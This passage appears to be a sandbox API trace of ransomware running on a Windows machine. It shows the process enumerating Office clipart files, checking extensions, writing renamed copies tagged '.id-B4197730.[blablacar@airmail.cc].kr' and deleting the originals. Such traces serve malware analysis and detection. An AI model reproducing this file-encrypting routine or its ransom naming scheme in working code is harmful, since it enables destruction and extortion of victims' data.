lpString2=".WMF") returned -1 [0214.445] lstrlenW (lpString=".xls") returned 4 [0214.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.445] lstrlenW (lpString=".xlsx") returned 5 [0214.445] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0214.445] lstrlenW (lpString=".ppt") returned 4 [0214.445] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0214.445] lstrlenW (lpString=".zip") returned 4 [0214.445] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.445] lstrlenW (lpString=".rar") returned 4 [0214.445] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.445] lstrlenW (lpString=".bz2") returned 4 [0214.445] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.445] lstrlenW (lpString=".7z") returned 3 [0214.445] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0214.446] lstrlenW (lpString=".dbf") returned 4 [0214.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0214.446] lstrlenW (lpString=".1cd") returned 4 [0214.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0214.446] lstrlenW (lpString=".jpg") returned 4 [0214.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0214.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0214.446] lstrlenW (lpString=".doc") returned 4 [0214.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.446] lstrlenW (lpString=".docx") returned 5 [0214.446] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0214.446] lstrlenW (lpString=".pdf") returned 4 [0214.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.446] lstrlenW (lpString=".xls") returned 4 [0214.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.446] lstrlenW (lpString=".xlsx") returned 5 [0214.446] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0214.446] lstrlenW (lpString=".ppt") returned 4 [0214.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0214.446] lstrlenW (lpString=".zip") returned 4 [0214.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.446] lstrlenW (lpString=".rar") returned 4 [0214.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.446] lstrlenW (lpString=".bz2") returned 4 [0214.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.446] lstrlenW (lpString=".7z") returned 3 [0214.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0214.447] lstrlenW (lpString=".dbf") returned 4 [0214.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0214.447] lstrlenW (lpString=".1cd") returned 4 [0214.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0214.447] lstrlenW (lpString=".jpg") returned 4 [0214.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.447] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0214.447] lstrlenW (lpString="J0107746.WMF") returned 12 [0214.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.448] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=4788) returned 1 [0214.448] CloseHandle (hObject=0x478) returned 1 [0214.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 0x220 [0214.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.448] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.449] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0214.449] GetLastError () returned 0x0 [0214.449] ReadFile (in: hFile=0x478, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x12b4, lpOverlapped=0x0) returned 1 [0214.451] WriteFile (in: hFile=0x3bc, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x12c0, lpOverlapped=0x0) returned 1 [0214.452] ReadFile (in: hFile=0x478, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0214.452] WriteFile (in: hFile=0x3bc, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0214.452] SetEndOfFile (hFile=0x3bc) returned 1 [0214.452] CloseHandle (hObject=0x3bc) returned 1 [0214.452] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.452] SetEndOfFile (hFile=0x478) returned 1 [0214.455] CloseHandle (hObject=0x478) returned 1 [0214.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 1 [0214.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0214.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0214.457] lstrlenW (lpString=".doc") returned 4 [0214.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.457] lstrlenW (lpString=".docx") returned 5 [0214.457] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0214.457] lstrlenW (lpString=".pdf") returned 4 [0214.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.457] lstrlenW (lpString=".xls") returned 4 [0214.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.457] lstrlenW (lpString=".xlsx") returned 5 [0214.457] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0214.457] lstrlenW (lpString=".ppt") returned 4 [0214.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0214.457] lstrlenW (lpString=".zip") returned 4 [0214.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.457] lstrlenW (lpString=".rar") returned 4 [0214.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.457] lstrlenW (lpString=".bz2") returned 4 [0214.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.457] lstrlenW (lpString=".7z") returned 3 [0214.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0214.457] lstrlenW (lpString=".dbf") returned 4 [0214.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0214.457] lstrlenW (lpString=".1cd") returned 4 [0214.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0214.457] lstrlenW (lpString=".jpg") returned 4 [0214.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0214.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0214.458] lstrlenW (lpString=".doc") returned 4 [0214.458] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.458] lstrlenW (lpString=".docx") returned 5 [0214.458] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0214.458] lstrlenW (lpString=".pdf") returned 4 [0214.458] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.458] lstrlenW (lpString=".xls") returned 4 [0214.458] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.458] lstrlenW (lpString=".xlsx") returned 5 [0214.458] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0214.458] lstrlenW (lpString=".ppt") returned 4 [0214.458] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0214.458] lstrlenW (lpString=".zip") returned 4 [0214.458] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.458] lstrlenW (lpString=".rar") returned 4 [0214.458] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.458] lstrlenW (lpString=".bz2") returned 4 [0214.458] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.458] lstrlenW (lpString=".7z") returned 3 [0214.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0214.458] lstrlenW (lpString=".dbf") returned 4 [0214.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0214.458] lstrlenW (lpString=".1cd") returned 4 [0214.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0214.458] lstrlenW (lpString=".jpg") returned 4 [0214.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.459] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0214.459] lstrlenW (lpString="J0107748.WMF") returned 12 [0214.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.460] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=8224) returned 1 [0214.460] CloseHandle (hObject=0x478) returned 1 [0214.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 0x220 [0214.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.461] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.461] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0214.462] GetLastError () returned 0x0 [0214.462] ReadFile (in: hFile=0x478, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x2020, lpOverlapped=0x0) returned 1 [0214.464] WriteFile (in: hFile=0x3bc, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x2030, lpOverlapped=0x0) returned 1 [0214.465] ReadFile (in: hFile=0x478, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0214.465] WriteFile (in: hFile=0x3bc, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0214.465] SetEndOfFile (hFile=0x3bc) returned 1 [0214.465] CloseHandle (hObject=0x3bc) returned 1 [0214.465] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.465] SetEndOfFile (hFile=0x478) returned 1 [0214.468] CloseHandle (hObject=0x478) returned 1 [0214.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 1 [0214.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0214.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0214.470] lstrlenW (lpString=".doc") returned 4 [0214.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.470] lstrlenW (lpString=".docx") returned 5 [0214.470] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0214.470] lstrlenW (lpString=".pdf") returned 4 [0214.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.470] lstrlenW (lpString=".xls") returned 4 [0214.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.470] lstrlenW (lpString=".xlsx") returned 5 [0214.470] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0214.470] lstrlenW (lpString=".ppt") returned 4 [0214.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0214.470] lstrlenW (lpString=".zip") returned 4 [0214.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.470] lstrlenW (lpString=".rar") returned 4 [0214.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.470] lstrlenW (lpString=".bz2") returned 4 [0214.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.470] lstrlenW (lpString=".7z") returned 3 [0214.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0214.470] lstrlenW (lpString=".dbf") returned 4 [0214.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0214.470] lstrlenW (lpString=".1cd") returned 4 [0214.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0214.470] lstrlenW (lpString=".jpg") returned 4 [0214.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0214.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0214.471] lstrlenW (lpString=".doc") returned 4 [0214.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.471] lstrlenW (lpString=".docx") returned 5 [0214.471] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0214.471] lstrlenW (lpString=".pdf") returned 4 [0214.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0214.471] lstrlenW (lpString=".xls") returned 4 [0214.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0214.471] lstrlenW (lpString=".xlsx") returned 5 [0214.471] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0214.471] lstrlenW (lpString=".ppt") returned 4 [0214.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0214.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0214.471] lstrlenW (lpString=".zip") returned 4 [0214.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0214.471] lstrlenW (lpString=".rar") returned 4 [0214.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0214.471] lstrlenW (lpString=".bz2") returned 4 [0214.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0214.471] lstrlenW (lpString=".7z") returned 3 [0214.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0214.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0214.471] lstrlenW (lpString=".dbf") returned 4 [0214.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0214.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0214.471] lstrlenW (lpString=".1cd") returned 4 [0214.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0214.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0214.471] lstrlenW (lpString=".jpg") returned 4 [0214.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0214.472] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0214.472] lstrlenW (lpString="J0107750.WMF") returned 12 [0214.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0214.734] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=4716) returned 1 [0214.734] CloseHandle (hObject=0x538) returned 1 [0214.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 0x220 [0215.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0215.176] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.176] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0215.188] GetLastError () returned 0x0 [0215.188] ReadFile (in: hFile=0x450, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x126c, lpOverlapped=0x0) returned 1 [0215.189] WriteFile (in: hFile=0x4b0, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1270, lpOverlapped=0x0) returned 1 [0215.190] ReadFile (in: hFile=0x450, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.190] WriteFile (in: hFile=0x4b0, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0215.191] SetEndOfFile (hFile=0x4b0) returned 1 [0215.191] CloseHandle (hObject=0x4b0) returned 1 [0215.191] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.191] SetEndOfFile (hFile=0x450) returned 1 [0215.193] CloseHandle (hObject=0x450) returned 1 [0215.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.194] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 1 [0215.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0215.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0215.195] lstrlenW (lpString=".doc") returned 4 [0215.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0215.195] lstrlenW (lpString=".docx") returned 5 [0215.195] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0215.195] lstrlenW (lpString=".pdf") returned 4 [0215.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0215.195] lstrlenW (lpString=".xls") returned 4 [0215.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0215.195] lstrlenW (lpString=".xlsx") returned 5 [0215.195] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0215.195] lstrlenW (lpString=".ppt") returned 4 [0215.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0215.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0215.195] lstrlenW (lpString=".zip") returned 4 [0215.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0215.195] 